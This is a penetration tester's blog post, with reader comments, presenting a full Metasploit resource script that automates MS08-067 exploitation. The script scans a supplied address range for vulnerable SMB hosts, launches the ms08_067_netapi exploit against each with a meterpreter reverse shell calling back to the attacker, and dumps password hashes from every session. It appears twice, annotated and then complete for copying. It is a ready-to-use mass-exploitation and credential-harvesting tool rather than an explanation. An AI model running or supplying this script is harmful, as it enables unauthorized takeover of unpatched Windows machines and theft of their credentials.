Automating low hanging fruit exploitation with metasploit resource files

cowhat

Low hanging fruit is most of the time the first thing as a security consultant I try, while I kick up the scanners I mostly also usually kick “extra” scans which are not full probe but only looking for specific vulnerabilities than in my experience are a quick way to go and gain enterprise administrator on the internal network.

So this time we are going to take a fairly easy example which is MS08-067 (the ever present and “will it ever die?” vulnerability) so automate it just to make the shells rain, but this can be changed for other vulnerabilities (which I will be updating and posting here)

A good thing is to be able to use ruby by using <ruby> </ruby>

I will dissect the entire resource file part by part, explain it and see a few “tricks” that I encountered to make it work:

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false

This just sets up the handler, payload and no ExitOnSession, nothing much and pretty standard on the resource files you can find on “them googles” next lines are:

if (framework.datastore['LHOST'] == nil )
    print_error("No LHOST set, where do we get the shells? go fix (must be global so setg instead of set)")
    return
end
if (framework.datastore['RHOSTS'] == nil)
    print_error("RHOSTS must be set globally (pro tip: use setg instead of set)... exiting")
    return
end

So this just checks that you have LHOST and RHOSTS setup, it does require the setg as it will go into the module and if not set globally the setup will just be gone, pretty simple.

This next block is because I realized with my beta testers they kept on using set instead of setg so I manually setg just to make sure:

#I know most ppl actually set RHOSTS and not setg RHOSTS so might as well set it globally
run_single("setg RHOSTS #{framework.datastore['RHOSTS']}")
run_single("setg LHOST #{framework.datastore['LHOST']}")

We create a workspace named MS08_067 and switch to it. All the information, credentials and everything that is to be extracted will be on this workspace for this resource file run, this way the hosts, creds and other database driven commands will be populated and information can be retrieved later for other purposes.

# Create the workspace with the name of the exlpoit
workspace_name = "MS08_067"
print_status("Creating Workspace #{workspace_name}")
print_status("If a workspace with this name allready exists it will be deleted")
workspace = framework.db.find_workspace(workspace_name)
if workspace != nil
    workspace.destroy
    workspace = framework.db.add_workspace(workspace_name)
    print_status("Create Workspace #{workspace_name}")
else
    workspace = framework.db.add_workspace(workspace_name)
end
# Switching to the new workspace
run_single("workspace #{workspace_name}")

After this we just run a db_namp to populate the hosts that would be vulnerable to ms08-067 

#Switched to the new workspace now let's scan first for ms08-067 and let it rain
run_single("db_nmap -sV -O -p 445 --script=smb-check-vulns #{framework.datastore['RHOSTS']}")

From here we change into the exploit and for each host with port 445 and verified microsoft-ds service we run the exploitation

#Change into the exploit
run_single("use exploit/windows/smb/ms08_067_netapi")
#Walk on the results for the exploit
framework.db.services.each do |db_services|
    #this runs if port 445 (SMB) was detected
    if (db_services.port == 445) && (db_services.name == "microsoft-ds")
        #Get IP Address from hosts database
        framework.db.hosts.each do |ip|
            #Search for the right host in host db with services host id
            if ip.id == db_services.host.id
                #set new RHOSTS
                run_single("set RHOST #{ip.address}")
                #Let the shells rain
                print_status("Attacking Host #{ip.address} with MS08_067")
                run_single("exploit -z")
            end
        end
    end
end

Now this part is interesting, while I was testing this I had the problem of errors when I tried to do the smart_hashdump by running on each session, it really baffled me but I believe it’s because I was going into it too “quickly” as I put a nice sleep(7) and everything worked fine (I’ll blame this on the “let the exploit finished doing it’s setup magic” part)

print_status("Waiting 7 seconds to allow all the meterpreters to settle down")
sleep(7)

And finally we go into each session and smart_hashdump into it, this posed a tricky bit as you need to setup the SESSION variable and by using it as a string (is an array) I would encounter that the session would be setup as [1] thus the interesting framework.sessions.keys[0]

# Now let's get the hashes dumped and go for it
print_status("Hashdumping all sessions into the creds database (type creds after done if you want to see how many are there)")
run_single("use post/windows/gather/smart_hashdump")
if not framework.sessions.empty?
    framework.sessions.each do |s|
        print_status("Dumping creds on session #{framework.sessions.keys[0]}")
        run_single("set SESSION #{framework.sessions.keys[0]}")
        run_single("run")
    end
end
print_status("Credentials are now stored on the creds table, to access them type creds within this workspace")

And that is all, this is the entire script so you can copy into clipboard, download and all… have fun!

use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false


if (framework.datastore['LHOST'] == nil )
	print_error("No LHOST set, where do we get the shells? go fix (must be global so setg instead of set)")
	return
end

if (framework.datastore['RHOSTS'] == nil)
        print_error("RHOSTS must be set globally (pro tip: use setg instead of set)... exiting")
        return
end

#I know most ppl actually set RHOSTS and not setg RHOSTS so might as well set it globally
run_single("setg RHOSTS #{framework.datastore['RHOSTS']}")
run_single("setg LHOST #{framework.datastore['LHOST']}")

# Create the workspace with the name of the exlpoit
workspace_name = "MS08_067"

print_status("Creating Workspace #{workspace_name}")
print_status("If a workspace with this name allready exists it will be deleted")

workspace = framework.db.find_workspace(workspace_name)
if workspace != nil
        workspace.destroy
        workspace = framework.db.add_workspace(workspace_name)
        print_status("Create Workspace #{workspace_name}")
else
        workspace = framework.db.add_workspace(workspace_name)
end

# Switching to the new workspace
run_single("workspace #{workspace_name}")

#Switched to the new workspace now let's scan first for ms08-067 and let it rain

run_single("db_nmap -sV -O -p 445 --script=smb-check-vulns #{framework.datastore['RHOSTS']}")

#Change into the exploit
run_single("use exploit/windows/smb/ms08_067_netapi")

#Walk on the results for the exploit
framework.db.services.each do |db_services|
	#this runs if port 445 (SMB) was detected
	if (db_services.port == 445) && (db_services.name == "microsoft-ds")

		#Get IP Address from hosts database
		framework.db.hosts.each do |ip|

			#Search for the right host in host db with services host id
			if ip.id == db_services.host.id

				#set new RHOSTS
                                run_single("set RHOST #{ip.address}")

                                #Let the shells rain
                                print_status("Attacking Host #{ip.address} with MS08_067")
				run_single("exploit -z")
                        end
                end
        end
end

print_status("Waiting 7 seconds to allow all the meterpreters to settle down")
sleep(7)
# Now let's get the hashes dumped and go for it
print_status("Hashdumping all sessions into the creds database (type creds after done if you want to see how many are there)")

run_single("use post/windows/gather/smart_hashdump")
if not framework.sessions.empty?
	framework.sessions.each do |s|
		print_status("Dumping creds on session #{framework.sessions.keys[0]}")
		run_single("set SESSION #{framework.sessions.keys[0]}")
		run_single("run")
	end
end

print_status("Credentials are now stored on the creds table, to access them type creds within this workspace")

If you like it, Share!

3 Comments  to  Automating low hanging fruit exploitation with metasploit resource files

  1. Jim says:

    line 40 db_nmap
    where are you telling mmap which subnet or list of IPs to scan?
    I’m not seeing where you are passing the address space to be scanned?

  2. Jim says:

    had to change db_nmap line to:
    run_single(“db_nmap -sV -O -p 445 –script=smb-check-vulns –script-args=unsafe=1 #{framework.datastore['RHOSTS']}”)

    Also I presume that I have to pre-populate database by running scan then run this resource file
    msf>resource ms08-067.rc

  3. Jim,

    framework.datastore['RHOSTS'] contains your range, so technically you should be able just to set RHOSTS 192.168.0.1/24 and let it rip!

    I didn’t have to add the unsafe on my part, but if it works for you great!

    I really appreciate your input!!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>